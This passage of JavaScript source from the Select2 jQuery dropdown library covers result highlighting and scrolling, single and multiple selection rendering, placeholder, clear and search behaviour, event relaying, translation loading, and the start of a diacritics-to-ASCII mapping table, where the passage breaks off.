self.highlightFirstItem(); }); container.on('unselect', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('open', function () { // When the dropdown is open, aria-expended="true" self.$results.attr('aria-expanded', 'true'); self.$results.attr('aria-hidden', 'false'); self.setClasses(); self.ensureHighlightVisible(); }); container.on('close', function () { // When the dropdown is closed, aria-expended="false" self.$results.attr('aria-expanded', 'false'); self.$results.attr('aria-hidden', 'true'); self.$results.removeAttr('aria-activedescendant'); }); container.on('results:toggle', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } $highlighted.trigger('mouseup'); }); container.on('results:select', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } var data = $highlighted.data('data'); if ($highlighted.attr('data-selected') == 'true') { self.trigger('close', {}); } else { self.trigger('select', { data: data }); } }); container.on('results:previous', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[data-selected]'); var currentIndex = $options.index($highlighted); // If we are already at te top, don't move further if (currentIndex === 0) { return; } var nextIndex = currentIndex - 1; // If none are highlighted, highlight the first if ($highlighted.length === 0) { nextIndex = 0; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top; var nextTop = $next.offset().top; var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset); if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextTop - currentOffset < 0) { self.$results.scrollTop(nextOffset); } }); container.on('results:next', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[data-selected]'); var currentIndex = $options.index($highlighted); var nextIndex = currentIndex + 1; // If we are at the last option, stay there if (nextIndex >= $options.length) { return; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var nextBottom = $next.offset().top + $next.outerHeight(false); var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset; if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextBottom > currentOffset) { self.$results.scrollTop(nextOffset); } }); container.on('results:focus', function (params) { params.element.addClass('select2-results__option--highlighted').attr('aria-selected', 'true'); self.$results.attr('aria-activedescendant', params.element.attr('id')); }); container.on('results:message', function (params) { self.displayMessage(params); }); if ($.fn.mousewheel) { this.$results.on('mousewheel', function (e) { var top = self.$results.scrollTop(); var bottom = self.$results.get(0).scrollHeight - top + e.deltaY; var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0; var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height(); if (isAtTop) { self.$results.scrollTop(0); e.preventDefault(); e.stopPropagation(); } else if (isAtBottom) { self.$results.scrollTop( self.$results.get(0).scrollHeight - self.$results.height() ); e.preventDefault(); e.stopPropagation(); } }); } this.$results.on('mouseup', '.select2-results__option[data-selected]', function (evt) { var $this = $(this); var data = $this.data('data'); if ($this.attr('data-selected') === 'true') { if (self.options.get('multiple')) { self.trigger('unselect', { originalEvent: evt, data: data }); } else { self.trigger('close', {}); } return; } self.trigger('select', { originalEvent: evt, data: data }); }); this.$results.on('mouseenter', '.select2-results__option[data-selected]', function (evt) { var data = $(this).data('data'); self.getHighlightedResults() .removeClass('select2-results__option--highlighted') .attr('aria-selected', 'false'); self.trigger('results:focus', { data: data, element: $(this) }); }); }; Results.prototype.getHighlightedResults = function () { var $highlighted = this.$results .find('.select2-results__option--highlighted'); return $highlighted; }; Results.prototype.destroy = function () { this.$results.remove(); }; Results.prototype.ensureHighlightVisible = function () { var $highlighted = this.getHighlightedResults(); if ($highlighted.length === 0) { return; } var $options = this.$results.find('[data-selected]'); var currentIndex = $options.index($highlighted); var currentOffset = this.$results.offset().top; var nextTop = $highlighted.offset().top; var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset); var offsetDelta = nextTop - currentOffset; nextOffset -= $highlighted.outerHeight(false) * 2; if (currentIndex <= 2) { this.$results.scrollTop(0); } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) { this.$results.scrollTop(nextOffset); } }; Results.prototype.template = function (result, container) { var template = this.options.get('templateResult'); var escapeMarkup = this.options.get('escapeMarkup'); var content = template(result, container); if (content == null) { container.style.display = 'none'; } else if (typeof content === 'string') { container.innerHTML = escapeMarkup(content); } else { $(container).append(content); } }; return Results; }); S2.define('select2/keys',[ ], function () { var KEYS = { BACKSPACE: 8, TAB: 9, ENTER: 13, SHIFT: 16, CTRL: 17, ALT: 18, ESC: 27, SPACE: 32, PAGE_UP: 33, PAGE_DOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40, DELETE: 46 }; return KEYS; }); S2.define('select2/selection/base',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function BaseSelection ($element, options) { this.$element = $element; this.options = options; BaseSelection.__super__.constructor.call(this); } Utils.Extend(BaseSelection, Utils.Observable); BaseSelection.prototype.render = function () { var $selection = $( '<span class="select2-selection" ' + ' aria-haspopup="true" aria-expanded="false">' + '</span>' ); this._tabindex = 0; if (this.$element.data('old-tabindex') != null) { this._tabindex = this.$element.data('old-tabindex'); } else if (this.$element.attr('tabindex') != null) { this._tabindex = this.$element.attr('tabindex'); } $selection.attr('title', this.$element.attr('title')); $selection.attr('tabindex', this._tabindex); this.$selection = $selection; return $selection; }; BaseSelection.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-container'; var resultsId = container.id + '-results'; var searchHidden = this.options.get('minimumResultsForSearch') === Infinity; this.container = container; this.$selection.on('focus', function (evt) { self.trigger('focus', evt); }); this.$selection.on('blur', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', function (evt) { self.trigger('keypress', evt); if (evt.which === KEYS.SPACE) { evt.preventDefault(); } }); container.on('results:focus', function (params) { self.$selection.attr('aria-activedescendant', params.data._resultId); }); container.on('selection:update', function (params) { self.update(params.data); }); container.on('open', function () { // When the dropdown is open, aria-expanded="true" self.$selection.attr('aria-expanded', 'true'); self.$selection.attr('aria-owns', resultsId); self._attachCloseHandler(container); }); container.on('close', function () { // When the dropdown is closed, aria-expanded="false" self.$selection.attr('aria-expanded', 'false'); self.$selection.removeAttr('aria-activedescendant'); self.$selection.removeAttr('aria-owns'); // This needs to be delayed as the active element is the body when the // key is pressed. window.setTimeout(function () { self.$selection.focus(); }, 1); self._detachCloseHandler(container); }); container.on('enable', function () { self.$selection.attr('tabindex', self._tabindex); }); container.on('disable', function () { self.$selection.attr('tabindex', '-1'); }); }; BaseSelection.prototype._handleBlur = function (evt) { var self = this; // This needs to be delayed as the active element is the body when the tab // key is pressed, possibly along with others. window.setTimeout(function () { // Don't trigger `blur` if the focus is still in the selection if ( (document.activeElement == self.$selection[0]) || ($.contains(self.$selection[0], document.activeElement)) ) { return; } self.trigger('blur', evt); }, 1); }; BaseSelection.prototype._attachCloseHandler = function (container) { var self = this; $(document.body).on('mousedown.select2.' + container.id, function (e) { var $target = $(e.target); var $select = $target.closest('.select2'); var $all = $('.select2.select2-container--open'); $all.each(function () { var $this = $(this); if (this == $select[0]) { return; } var $element = $this.data('element'); $element.select2('close'); // Remove any focus when dropdown is closed by clicking outside the select area. // Timeout of 1 required for close to finish wrapping up. setTimeout(function(){ $this.find('*:focus').blur(); $target.focus(); }, 1); }); }); }; BaseSelection.prototype._detachCloseHandler = function (container) { $(document.body).off('mousedown.select2.' + container.id); }; BaseSelection.prototype.position = function ($selection, $container) { var $selectionContainer = $container.find('.selection'); $selectionContainer.append($selection); }; BaseSelection.prototype.destroy = function () { this._detachCloseHandler(this.container); }; BaseSelection.prototype.update = function (data) { throw new Error('The `update` method must be defined in child classes.'); }; return BaseSelection; }); S2.define('select2/selection/single',[ 'jquery', './base', '../utils', '../keys' ], function ($, BaseSelection, Utils, KEYS) { function SingleSelection () { SingleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(SingleSelection, BaseSelection); SingleSelection.prototype.render = function () { var $selection = SingleSelection.__super__.render.call(this); $selection.addClass('select2-selection--single'); $selection.html( '<span class="select2-selection__rendered"></span>' + '<span class="select2-selection__arrow" role="presentation">' + '<b role="presentation"></b>' + '</span>' ); return $selection; }; SingleSelection.prototype.bind = function (container, $container) { var self = this; SingleSelection.__super__.bind.apply(this, arguments); var id = container.id + '-container'; this.$selection.find('.select2-selection__rendered') .attr('id', id) .attr('role', 'textbox') .attr('aria-readonly', 'true'); this.$selection.attr('aria-labelledby', id); // This makes single non-search selects work in screen readers. If it causes problems elsewhere, remove. this.$selection.attr('role', 'combobox'); this.$selection.on('mousedown', function (evt) { // Only respond to left clicks if (evt.which !== 1) { return; } self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on('focus', function (evt) { // User focuses on the container }); this.$selection.on('keydown', function (evt) { // If user starts typing an alphanumeric key on the keyboard, open if not opened. if (!container.isOpen() && evt.which >= 48 && evt.which <= 90) { container.open(); } }); this.$selection.on('blur', function (evt) { // User exits the container }); container.on('focus', function (evt) { if (!container.isOpen()) { self.$selection.focus(); } }); container.on('selection:update', function (params) { self.update(params.data); }); }; SingleSelection.prototype.clear = function () { this.$selection.find('.select2-selection__rendered').empty(); }; SingleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; SingleSelection.prototype.selectionContainer = function () { return $('<span></span>'); }; SingleSelection.prototype.update = function (data) { if (data.length === 0) { this.clear(); return; } var selection = data[0]; var $rendered = this.$selection.find('.select2-selection__rendered'); var formatted = this.display(selection, $rendered); $rendered.empty().text(formatted); $rendered.prop('title', selection.title || selection.text); }; return SingleSelection; }); S2.define('select2/selection/multiple',[ 'jquery', './base', '../utils' ], function ($, BaseSelection, Utils) { function MultipleSelection ($element, options) { MultipleSelection.__super__.constructor.apply(this, arguments); } Utils.Extend(MultipleSelection, BaseSelection); MultipleSelection.prototype.render = function () { var $selection = MultipleSelection.__super__.render.call(this); $selection.addClass('select2-selection--multiple'); $selection.html( '<ul class="select2-selection__rendered" aria-live="polite" aria-relevant="additions removals" aria-atomic="true"></ul>' ); return $selection; }; MultipleSelection.prototype.bind = function (container, $container) { var self = this; MultipleSelection.__super__.bind.apply(this, arguments); this.$selection.on('click', function (evt) { self.trigger('toggle', { originalEvent: evt }); }); this.$selection.on( 'click', '.select2-selection__choice__remove', function (evt) { // Ignore the event if it is disabled if (self.options.get('disabled')) { return; } var $remove = $(this); var $selection = $remove.parent(); var data = $selection.data('data'); self.trigger('unselect', { originalEvent: evt, data: data }); } ); this.$selection.on('keydown', function (evt) { // If user starts typing an alphanumeric key on the keyboard, open if not opened. if (!container.isOpen() && evt.which >= 48 && evt.which <= 90) { container.open(); } }); // Focus on the search field when the container is focused instead of the main container. container.on( 'focus', function(){ self.focusOnSearch(); }); }; MultipleSelection.prototype.clear = function () { this.$selection.find('.select2-selection__rendered').empty(); }; MultipleSelection.prototype.display = function (data, container) { var template = this.options.get('templateSelection'); var escapeMarkup = this.options.get('escapeMarkup'); return escapeMarkup(template(data, container)); }; MultipleSelection.prototype.selectionContainer = function () { var $container = $( '<li class="select2-selection__choice">' + '<span class="select2-selection__choice__remove" role="presentation" aria-hidden="true">' + '×' + '</span>' + '</li>' ); return $container; }; /** * Focus on the search field instead of the main multiselect container. */ MultipleSelection.prototype.focusOnSearch = function() { var self = this; if ('undefined' !== typeof self.$search) { // Needs 1 ms delay because of other 1 ms setTimeouts when rendering. setTimeout(function(){ // Prevent the dropdown opening again when focused from this. // This gets reset automatically when focus is triggered. self._keyUpPrevented = true; self.$search.focus(); }, 1); } } MultipleSelection.prototype.update = function (data) { this.clear(); if (data.length === 0) { return; } var $selections = []; for (var d = 0; d < data.length; d++) { var selection = data[d]; var $selection = this.selectionContainer(); var formatted = this.display(selection, $selection); if ('string' === typeof formatted) { formatted = formatted.trim(); } $selection.append(formatted); $selection.prop('title', selection.title || selection.text); $selection.data('data', selection); $selections.push($selection); } var $rendered = this.$selection.find('.select2-selection__rendered'); Utils.appendMany($rendered, $selections); }; return MultipleSelection; }); S2.define('select2/selection/placeholder',[ '../utils' ], function (Utils) { function Placeholder (decorated, $element, options) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options); } Placeholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; Placeholder.prototype.createPlaceholder = function (decorated, placeholder) { var $placeholder = this.selectionContainer(); $placeholder.html(this.display(placeholder)); $placeholder.addClass('select2-selection__placeholder') .removeClass('select2-selection__choice'); return $placeholder; }; Placeholder.prototype.update = function (decorated, data) { var singlePlaceholder = ( data.length == 1 && data[0].id != this.placeholder.id ); var multipleSelections = data.length > 1; if (multipleSelections || singlePlaceholder) { return decorated.call(this, data); } this.clear(); var $placeholder = this.createPlaceholder(this.placeholder); this.$selection.find('.select2-selection__rendered').append($placeholder); }; return Placeholder; }); S2.define('select2/selection/allowClear',[ 'jquery', '../keys' ], function ($, KEYS) { function AllowClear () { } AllowClear.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); if (this.placeholder == null) { if (this.options.get('debug') && window.console && console.error) { console.error( 'Select2: The `allowClear` option should be used in combination ' + 'with the `placeholder` option.' ); } } this.$selection.on('mousedown', '.select2-selection__clear', function (evt) { self._handleClear(evt); }); container.on('keypress', function (evt) { self._handleKeyboardClear(evt, container); }); }; AllowClear.prototype._handleClear = function (_, evt) { // Ignore the event if it is disabled if (this.options.get('disabled')) { return; } var $clear = this.$selection.find('.select2-selection__clear'); // Ignore the event if nothing has been selected if ($clear.length === 0) { return; } evt.stopPropagation(); var data = $clear.data('data'); for (var d = 0; d < data.length; d++) { var unselectData = { data: data[d] }; // Trigger the `unselect` event, so people can prevent it from being // cleared. this.trigger('unselect', unselectData); // If the event was prevented, don't clear it out. if (unselectData.prevented) { return; } } this.$element.val(this.placeholder.id).trigger('change'); this.trigger('toggle', {}); }; AllowClear.prototype._handleKeyboardClear = function (_, evt, container) { if (container.isOpen()) { return; } if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) { this._handleClear(evt); } }; AllowClear.prototype.update = function (decorated, data) { decorated.call(this, data); if (this.$selection.find('.select2-selection__placeholder').length > 0 || data.length === 0) { return; } var $remove = $( '<span class="select2-selection__clear">' + '×' + '</span>' ); $remove.data('data', data); this.$selection.find('.select2-selection__rendered').prepend($remove); }; return AllowClear; }); S2.define('select2/selection/search',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function Search (decorated, $element, options) { decorated.call(this, $element, options); } Search.prototype.render = function (decorated) { var $search = $( '<li class="select2-search select2-search--inline">' + '<input class="select2-search__field" type="text" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" aria-autocomplete="list" />' + '</li>' ); this.$searchContainer = $search; this.$search = $search.find('input'); var $rendered = decorated.call(this); this._transferTabIndex(); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; var resultsId = container.id + '-results'; decorated.call(this, container, $container); container.on('open', function () { self.$search.attr('aria-owns', resultsId); self.$search.trigger('focus'); }); container.on('close', function () { self.$search.val(''); self.$search.removeAttr('aria-activedescendant'); self.$search.removeAttr('aria-owns'); self.$search.trigger('focus'); }); container.on('enable', function () { self.$search.prop('disabled', false); self._transferTabIndex(); }); container.on('disable', function () { self.$search.prop('disabled', true); }); container.on('focus', function (evt) { self.$search.trigger('focus'); }); container.on('results:focus', function (params) { self.$search.attr('aria-activedescendant', params.data._resultId); }); this.$selection.on('focusin', '.select2-search--inline', function (evt) { self.trigger('focus', evt); }); this.$selection.on('focusout', '.select2-search--inline', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', '.select2-search--inline', function (evt) { evt.stopPropagation(); self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); var key = evt.which; if (key === KEYS.BACKSPACE && self.$search.val() === '') { var $previousChoice = self.$searchContainer .prev('.select2-selection__choice'); if ($previousChoice.length > 0) { var item = $previousChoice.data('data'); self.searchRemoveChoice(item); evt.preventDefault(); } } else if (evt.which === KEYS.ENTER) { container.open(); evt.preventDefault(); } }); // Try to detect the IE version should the `documentMode` property that // is stored on the document. This is only implemented in IE and is // slightly cleaner than doing a user agent check. // This property is not available in Edge, but Edge also doesn't have // this bug. var msie = document.documentMode; var disableInputEvents = msie && msie <= 11; // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$selection.on( 'input.searchcheck', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents) { self.$selection.off('input.search input.searchcheck'); return; } // Unbind the duplicated `keyup` event self.$selection.off('keyup.search'); } ); this.$selection.on( 'keyup.search input.search', '.select2-search--inline', function (evt) { // IE will trigger the `input` event when a placeholder is used on a // search box. To get around this issue, we are forced to ignore all // `input` events in IE and keep using `keyup`. if (disableInputEvents && evt.type === 'input') { self.$selection.off('input.search input.searchcheck'); return; } var key = evt.which; // We can freely ignore events from modifier keys if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) { return; } // Tabbing will be handled during the `keydown` phase if (key == KEYS.TAB) { return; } self.handleSearch(evt); } ); }; /** * This method will transfer the tabindex attribute from the rendered * selection to the search box. This allows for the search box to be used as * the primary focus instead of the selection container. * * @private */ Search.prototype._transferTabIndex = function (decorated) { this.$search.attr('tabindex', this.$selection.attr('tabindex')); this.$selection.attr('tabindex', '-1'); }; Search.prototype.createPlaceholder = function (decorated, placeholder) { this.$search.attr('placeholder', placeholder.text); }; Search.prototype.update = function (decorated, data) { var searchHadFocus = this.$search[0] == document.activeElement; this.$search.attr('placeholder', ''); decorated.call(this, data); this.$selection.find('.select2-selection__rendered') .append(this.$searchContainer); this.resizeSearch(); if (searchHadFocus) { this.$search.focus(); } }; Search.prototype.handleSearch = function () { this.resizeSearch(); if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.searchRemoveChoice = function (decorated, item) { this.trigger('unselect', { data: item }); this.$search.val(item.text); this.handleSearch(); }; Search.prototype.resizeSearch = function () { this.$search.css('width', '25px'); var width = ''; if (this.$search.attr('placeholder') !== '') { width = this.$selection.find('.select2-selection__rendered').innerWidth(); } else { var minimumWidth = this.$search.val().length + 1; width = (minimumWidth * 0.75) + 'em'; } this.$search.css('width', width); }; return Search; }); S2.define('select2/selection/eventRelay',[ 'jquery' ], function ($) { function EventRelay () { } EventRelay.prototype.bind = function (decorated, container, $container) { var self = this; var relayEvents = [ 'open', 'opening', 'close', 'closing', 'select', 'selecting', 'unselect', 'unselecting' ]; var preventableEvents = ['opening', 'closing', 'selecting', 'unselecting']; decorated.call(this, container, $container); container.on('*', function (name, params) { // Ignore events that should not be relayed if ($.inArray(name, relayEvents) === -1) { return; } // The parameters should always be an object params = params || {}; // Generate the jQuery event for the Select2 event var evt = $.Event('select2:' + name, { params: params }); self.$element.trigger(evt); // Only handle preventable events if it was one if ($.inArray(name, preventableEvents) === -1) { return; } params.prevented = evt.isDefaultPrevented(); }); }; return EventRelay; }); S2.define('select2/translation',[ 'jquery', 'require' ], function ($, require) { function Translation (dict) { this.dict = dict || {}; } Translation.prototype.all = function () { return this.dict; }; Translation.prototype.get = function (key) { return this.dict[key]; }; Translation.prototype.extend = function (translation) { this.dict = $.extend({}, translation.all(), this.dict); }; // Static functions Translation._cache = {}; Translation.loadPath = function (path) { if (!(path in Translation._cache)) { var translations = require(path); Translation._cache[path] = translations; } return new Translation(Translation._cache[path]); }; return Translation; }); S2.define('select2/diacritics',[ ], function () { var diacritics = { '\u24B6': 'A', '\uFF21': 'A', '\u00C0': 'A', '\u00C1': 'A', '\u00C2': 'A', '\u1EA6': 'A', '\u1EA4': 'A', '\u1EAA': 'A', '\u1EA8': 'A', '\u00C3': 'A', '\u0100': 'A', '\u0102': 'A', '\u1EB0': 'A', '\u1EAE': 'A', '\u1EB4': 'A', '\u1EB2': 'A', '\u0226': 'A', '\u01E0': 'A', '\u00C4': 'A', '\u01DE': 'A', '\u1EA2': 'A', '\u00C5': 'A', '\u01FA': 'A', '\u01CD': 'A', '\u0200': 'A', '\u0202': 'A', '\u1EA0': 'A', '\u1EAC': 'A', '\u1EB6': 'A', '\u1E00': 'A', '\u0104': 'A', '\u023A': 'A', '\u2C6F': 'A', '\uA732': 'AA', '\u00C6': 'AE', '\u01FC': 'AE', '\u01E2': 'AE', '\uA734': 'AO', '\uA736': 'AU', '\uA738': 'AV', '\uA73A': 'AV', '\uA73C': 'AY', '\u24B7': 'B', '\uFF22': 'B', '\u1E02': 'B', '\u1E04': 'B', '\u1E06': 'B', '\u0243': 'B', '\u0182': 'B', '\u0181': 'B', '\u24B8': 'C', '\uFF23': 'C', '\u0106': 'C', '\u0108': 'C', '\u010A': 'C', '\u010C': 'C', '\u00C7': 'C', '\u1E08': 'C', '\u0187': 'C', '\u023B': 'C', '\uA73E': 'C', '\u24B9': 'D', '\uFF24': 'D', '\u1E0A': 'D', '\u010E': 'D', '\u1E0C': 'D', '\u1E10': 'D', '\u1E12': 'D', '\u1E0E': 'D', '\u0110': 'D', '\u018B': 'D', '\u018A': 'D', '\u0189': 'D', '\uA779': 'D', '\u01F1': 'DZ', '\u01C4': 'DZ', '\u01F2': 'Dz', '\u01C5': 'Dz', '\u24BA': 'E', '\uFF25': 'E', '\u00C8': 'E', '\u00C9': 'E', '\u00CA': 'E', '\u1EC0': 'E', '\u1EBE': 'E', '\u1EC4': 'E', '\u1EC2': 'E', '\u1EBC': 'E', '\u0112': 'E', '\u1E14': 'E', '\u1E16': 'E', '\u0114': 'E', '\u0116': 'E', '\u00CB': 'E', '\u1EBA': 'E', '\u011A': 'E', '\u0204': 'E', '\u0206': 'E', '\u1EB8': 'E', '\u1EC6': 'E', '\u0228': 'E', '\u1E1C': 'E', '\u0118': 'E', '\u1E18': 'E', '\u1E1A': 'E', '\u0190': 'E', '\u018E': 'E', '\u24BB': 'F', '\uFF26': 'F', '\u1E1E': 'F', '\u0191': 'F', '\uA77B': 'F', '\u24BC': 'G', '\uFF27': 'G', '\u01F4': 'G', '\u011C': 'G', '\u1E20': 'G', '\u011E': 'G', '\u0120': 'G', '\u01E6': 'G', '\u0122': 'G', '\u01E4': 'G', '\u0193': 'G', '\uA7A0': 'G', '\uA77D': 'G', '\uA77E': 'G', '\u24BD': 'H', '\uFF28': 'H', '\u0124': 'H', '\u1E22': 'H', '\u1E26': 'H', '\u021E': 'H', '\u1E24': 'H', '\u1E28': 'H', '\u1E2A': 'H', '\u0126': 'H', '\u2C67': 'H', '\u2C75': 'H', '\uA78D': 'H', '\u24BE': 'I', '\uFF29': 'I', '\u00CC': 'I', '\u00CD': 'I', '\u00CE': 'I', '\u0128': 'I', '\u012A': 'I', '\u012C': 'I', '\u0130': 'I', '\u00CF': 'I', '\u1E2E': 'I', '\u1EC8': 'I', '\u01CF': 'I', '\u0208': 'I', '\u020A': 'I', '\u1ECA': 'I', '\u012E': 'I', '\u1E2C': 'I', '\u0197': 'I', '\u24BF': 'J', '\uFF2A': 'J', '\u0134': 'J', '\u0248': 'J', '\u24C0': 'K', '\uFF2B': 'K', '\u1E30': 'K', '\u01E8': 'K', '\u1E32': 'K', '\u0136': 'K', '\u1E34': 'K', '\u0198': 'K', '\u2C69': 'K', '\uA740': 'K', '\uA742': 'K', '\uA744': 'K', '\uA7A2': 'K', '\u24C1': 'L', '\uFF2C': 'L', '\u013F': 'L', '\u0139': 'L', '\u013D': 'L', '\u1E36': 'L', '\u1E38': 'L', '\u013B': 'L', '\u1E3C': 'L', '\u1E3A': 'L', '\u0141': 'L', '\u023D': 'L', '\u2C62': 'L', '\u2C60': 'L', '\uA748': 'L', '\uA746': 'L', '\uA780': 'L', '\u01C7': 'LJ', '\u01C8': 'Lj', '\u24C2': 'M', '\uFF2D': 'M', '\u1E3E': 'M', '\u1E40': 'M', '\u1E42': 'M', '\u2C6E': 'M', '\u019C': 'M', '\u24C3': 'N', '\uFF2E': 'N', '\u01F8': 'N', '\u0143': 'N', '\u00D1': 'N', '\u1E44': 'N', '\u0147': 'N', '\u1E46': 'N', '\u0145': 'N', '\u1E4A': 'N', '\u1E48': 'N', '\u0220': 'N', '\u019D': 'N', '\uA790': 'N', '\uA7A4': 'N', '\u01CA': 'NJ', '\u01CB': 'Nj', '\u24C4': 'O', '\uFF2F': 'O', '\u00D2': 'O', '\u00D3': 'O', '\u00D4': 'O', '\u1ED2': 'O', '\u1ED0': 'O', '\u1ED6': 'O', '\u1ED4': 'O', '\u00D5': 'O', '\u1E4C': 'O', '\u022C': 'O', '\u1E4E': 'O', '\u014C': 'O', '\u1E50': 'O', '\u1E52': 'O', '\u014E': 'O', '\u022E': 'O', '\u0230': 'O', '\u00D6': 'O', '\u022A': 'O', '\u1ECE': 'O', '\u0150': 'O', '\u01D1': 'O', '\u020C': 'O', '\u020E': 'O', '\u01A0': 'O', '\u1EDC': 'O', '\u1EDA': 'O', '\u1EE0': 'O', '\u1EDE': 'O', '\u1EE2': 'O', '\u1ECC': 'O', '\u1ED8': 'O', '\u01EA': 'O', '\u01EC': 'O', '\u00D8': 'O', '\u01FE': 'O', '\u0186': 'O', '\u019F': 'O', '\uA74A': 'O', '\uA74C': 'O', '\u01A2': 'OI', '\uA74E': 'OO', '\u0222': 'OU', '\u24C5': 'P', '\uFF30': 'P', '\u1E54': 'P', '\u1E56': 'P', '\u01A4': 'P', '\u2C63': 'P', '\uA750': 'P', '\uA752': 'P', '\uA754': 'P', '\u24C6': 'Q', '\uFF31': 'Q', '\uA756': 'Q', '\uA758': 'Q', '\u024A': 'Q', '\u24C7': 'R', '\uFF32': 'R', '\u0154': 'R', '\u1E58': 'R', '\u0158': 'R', '\u0210': 'R', '\u0212': 'R', '\u1E5A': 'R', '\u1E5C': 'R', '\u0156': 'R', '\u1E5E': 'R', '\u024C': 'R', '\u2C64': 'R', '\uA75A': 'R', '\uA7A6': 'R', '\uA782': 'R', '\u24C8': 'S', '\uFF33': 'S', '\u1E9E': 'S', '\u015A': 'S', '\u1E64': 'S', '\u015C': 'S', '\u1E60': 'S', '\u0160': 'S', '\u1E66': 'S', '\u1E62': 'S', '\u1E68': 'S', '\u0218': 'S', '\u015E': 'S', '\u2C7E': 'S', '\uA7A8': 'S', '\uA784': 'S', '\u24C9': 'T', '\uFF34': 'T', '\u1E6A': 'T', '\u0164': 'T', '\u1E6C': 'T', '\u021A': 'T', '\u0162': 'T', '\u1E70': 'T', '\u1E6E': 'T', '\u0166': 'T', '\u01AC': 'T', '\u01AE': 'T', '\u023E': 'T', '\uA786': 'T', '\uA728': 'TZ', '\u24CA': 'U', '\uFF35': 'U', '\u00D9': 'U', '\u00DA': 'U', '\u00DB': 'U', '\u0168': 'U', '\u1E78': 'U', '\u016A': 'U', '\u1E7A': 'U', '\u016C': 'U', '\u00DC': 'U', '\u01DB': 'U', '\u01D7': 'U', '\u01D5': 'U', '\u01D9': 'U', '\u1EE6': 'U', '\u016E': 'U', '\u0170': 'U', '\u01D3': 'U', '\u0214': 'U', '\u0216': 'U', '\u01AF': 'U', '\u1EEA': 'U', '\u1EE8': 'U', '\u1EEE': 'U', '\u1EEC': 'U', '\u1EF0': 'U', '\u1EE4': 'U', '\u1E72': 'U', '\u0172': 'U', '\u1E76': 'U', '\u1E74': 'U', '\u0244': 'U', '\u24CB': 'V', '\uFF36': 'V', '\u1E7C': 'V', '\u1E7E': 'V', '\u01B2': 'V', '\uA75E': 'V', '\u0245': 'V', '\uA760': 'VY', '\u24CC': 'W', '\uFF37': 'W', '\u1E80': 'W', '\u1E82': 'W', '\u0174': 'W', '\u1E86': 'W', '\u1E84': 'W', '\u1E88': 'W', '\u2C72': 'W', '\u24CD': 'X', '\uFF38': 'X', '\u1E8A': 'X', '\u1E8C': 'X', '\u24CE': 'Y', '\uFF39': 'Y', '\u1EF2': 'Y', '\u00DD': 'Y', '\u0176': 'Y', '\u1EF8': 'Y', '\u0232': 'Y', '\u1E8E': 'Y', '\u0178': 'Y', '\u1EF6': 'Y', '\u1EF4': 'Y', '\u01B3': 'Y', '\u024E': 'Y', '\u1EFE': 'Y', '\u24CF': 'Z', '\uFF3A': 'Z', '\u0179': 'Z', '\u1E90': 'Z', '\u017B': 'Z', '\u017D': 'Z', '\u1E92': 'Z', '\u1E94': 'Z', '\u01B5': 'Z', '\u0224': 'Z', '\u2C7F': 'Z', '\u2C6B': 'Z', '\uA762': 'Z', '\u24D0': 'a', '\uFF41': 'a', '\u1E9A': 'a', '\u00E0': 'a', '\u00E1': 'a', '\u00E2': 'a', '\u1EA7': 'a', '\u1EA5': 'a', '\u1EAB': 'a', '\u1EA9': 'a', '\u00E3': 'a', '\u0101': 'a', '\u0103': 'a', '\u1EB1': 'a', '\u1EAF': 'a', '\u1EB5': 'a', '\u1EB3': 'a', '\u0227': 'a', '\u01E1': 'a', '\u00E4': 'a', '\u01DF': 'a', '\u1EA3': 'a', '\u00E5': 'a', '\u01FB': 'a', '\u01CE': 'a', '\u0201': 'a', '\u0203': 'a', '\u1EA1': 'a', '\u1EAD': 'a', '\u1EB7': 'a', '\u1E01': 'a', '\u0105': 'a', '\u2C65': 'a', '\u0250': 'a', '\uA733': 'aa', '\u00E6': 'ae', '\u01FD': 'ae', '\u01E3': 'ae', '\uA735': 'ao', '\uA737': 'au', '\uA739': 'av', '\uA73B': 'av', '\uA73D': 'ay', '\u24D1': 'b', '\uFF42': 'b', '\u1E03': 'b', '\u1E05': 'b', '\u1E07': 'b', '\u0180': 'b', '\u0183': 'b', '\u0253': 'b', '\u24D2': 'c', 